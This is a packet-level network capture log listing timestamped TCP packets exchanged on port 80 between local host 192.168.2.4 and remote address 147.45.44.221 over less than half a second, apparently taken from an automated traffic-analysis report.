Oct 21, 2024 08:47:26.627414942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627420902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627453089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627460003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627484083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627500057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627517939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627521992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627545118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627557039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627576113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627579927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627607107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627612114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627638102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627645016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627670050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627676964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627701044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627713919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627732038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627739906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627758980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627772093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627790928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627798080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627821922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627830982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627852917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627875090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627883911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627891064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627913952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627926111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627945900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627950907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627976894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627983093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628007889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628015995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628038883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628052950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628071070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628086090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628103018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628104925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628134966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628140926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628165960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628170013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628197908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.628205061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.628233910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634042978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634093046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634124041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634126902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634155035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634155989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634185076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634188890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634207010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634219885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634227037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634268999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.634377956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.634427071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.745719910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.745779991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.745871067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.745903015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.745917082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.745935917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.745946884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.745985985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.745989084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746016979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746027946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746049881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746056080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746088028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746150017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746187925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746192932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746226072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746236086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746283054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746284962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746315002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746326923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746346951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746356010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746392012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746413946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746455908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746474028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746520042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746526003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746565104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746567011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746601105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746627092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746632099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746650934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746679068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746692896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746721029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746725082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746757030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746761084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746788979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746798992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746825933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746835947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746865988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746885061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746905088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746915102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746943951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746953011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.746977091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.746982098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747006893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747015953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747049093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747056007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747087955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747102976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747119904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747128010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747149944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747180939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747201920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747201920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747214079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747240067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747245073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747265100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747276068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747286081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747309923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747311115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747339964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747348070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747373104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747400045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747416019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747428894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747461081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747478962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747492075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747502089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747524977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747541904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747556925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747570038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747590065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747596025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747620106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747632027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747652054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747659922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747684002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747698069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747720957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747725010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747747898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.747771025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.747792959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753273964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753328085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753328085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753356934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753376961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753391981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753396988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753432035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753439903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753470898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753477097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753500938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753516912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753534079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.753551960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.753575087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865130901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865334034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865336895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865370989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865390062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865407944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865447044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865474939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865506887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865509033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865542889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865555048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865586996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865591049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865632057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865654945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865685940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865696907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865735054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865736008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865766048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865777016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865818977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865819931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865868092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865873098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865900993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865909100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865931988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.865946054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865972042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.865995884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866034031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866046906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866091967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866095066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866123915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866141081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866156101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866164923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866188049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866198063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866230011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866235971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866282940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866283894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866314888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866322041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866347075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866364002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866389990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866394997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866425991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866435051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866467953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866472960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866504908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866513014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866532087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866542101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866574049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866579056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866611958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866627932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866642952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866656065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866679907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866691113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866713047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866719961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866744995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866754055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866775990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866794109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866807938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866816044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866838932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866848946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866887093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866892099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866918087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866928101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866950989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866955996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.866977930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.866995096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867008924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867016077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867042065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867059946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867073059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867088079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867105007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867110968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867136955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867144108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867168903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867176056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867199898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867206097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867232084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867238998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867263079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867273092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867297888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867301941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867330074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867341042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867362022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.867372036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.867409945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.872889996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.872917891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.872944117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.872953892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.873006105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.873038054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.873050928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.873071909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.873078108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.873104095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.873112917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.873143911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.914746046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.914884090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.915021896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.915215015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.984796047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.984916925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.984962940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.984997034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985013008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985029936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985038996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985071898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985079050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985116959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985130072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985169888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985177040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985220909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985229969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985270977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985280991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985323906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985330105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.985373020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.985377073 CEST	80	49732	147.45.44.221	192.168.2.4
